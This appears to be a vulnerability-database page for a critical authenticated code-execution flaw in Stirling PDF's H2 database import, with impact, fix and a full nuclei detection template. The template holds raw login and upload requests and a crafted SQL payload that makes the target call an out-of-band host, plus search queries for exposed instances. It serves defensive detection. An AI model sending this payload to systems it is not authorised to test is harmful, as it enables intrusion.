Browse / CVEs / CVE-2026-85714
CVE-2026-85714· stirling-tools / stirling-pdf· CWE-94
Stirling PDF <= 2.13.1 - H2 Database Import Remote Code Execution
criticalseverity
9.1CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it
Stirling-PDF < 2.13.2 contains a command injection caused by insufficient SQL whitelist validation in DatabaseService.validateSqlContent(), letting authenticated administrators execute arbitrary OS commands via crafted SQL files, exploit requires admin authentication and default H2 database with security mode.
Impact
Authenticated administrators can execute arbitrary OS commands as the JVM service account, leading to full system compromise.
Fix
Update to version 2.13.2 or later.
How to confirm it
Send: POST /api/v1/auth/login ; POST /api/v1/database/import-database
Positive when: contains in interactsh_protocol "dns" or "http" AND contains "Backup verification failed"Run it with nuclei: nuclei -id CVE-2026-85714 -u <target>
The full check
id: CVE-2026-85714
info:
name: Stirling PDF <= 2.13.1 - H2 Database Import Remote Code Execution
author: Securin,AlanNewberry
severity: critical
description: |
Stirling-PDF < 2.13.2 contains a command injection caused by insufficient SQL whitelist validation in DatabaseService.validateSqlContent(), letting authenticated administrators execute arbitrary OS commands via crafted SQL files, exploit requires admin authentication and default H2 database with security mode.
impact: |
Authenticated administrators can execute arbitrary OS commands as the JVM service account, leading to full system compromise.
remediation: |
Update to version 2.13.2 or later.
reference:
- https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-mrr8-934j-4g8m
- https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-53mw-phj8-qw64
- https://nvd.nist.gov/vuln/detail/CVE-2026-85714
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.1
cve-id: CVE-2026-85714
epss-score: 0.03406
epss-percentile: 0.8897
cwe-id: CWE-94
metadata:
verified: true
max-request: 2
vendor: stirling-tools
product: stirling-pdf
shodan-query: http.title:"Stirling PDF"
fofa-query: title="Stirling PDF"
tags: cve,cve2026,stirling-pdf,h2,rce,authenticated,default-login,oast,intrusive
variables:
table: "{{to_lower(rand_text_alpha(10))}}"
http:
- raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
{"username":"{{username}}","password":"{{password}}"}
- |
POST /api/v1/database/import-database HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: multipart/form-data; boundary=----NucleiStirlingBoundary
------NucleiStirlingBoundary
Content-Disposition: form-data; name="fileInput"; filename="backup.sql"
Content-Type: application/sql
CREATE TABLE IF NOT EXISTS n_{{table}}(c CLOB);
INSERT INTO n_{{table}} VALUES(FILE_READ('http://{{interactsh-url}}/{{table}}', NULL));
INSERT INTO x_{{table}} VALUES(NULL);
------NucleiStirlingBoundary--
extractors:
- type: json
name: token
part: body_1
internal: true
json:
- '.session.access_token'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- "http"
condition: or
- type: word
part: body
words:
- "Backup verification failed"References
- https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-mrr8-934j-4g8m
- https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-53mw-phj8-qw64
- https://nvd.nist.gov/vuln/detail/CVE-2026-85714
Use this check only on systems you are authorised to test. Where the data comes from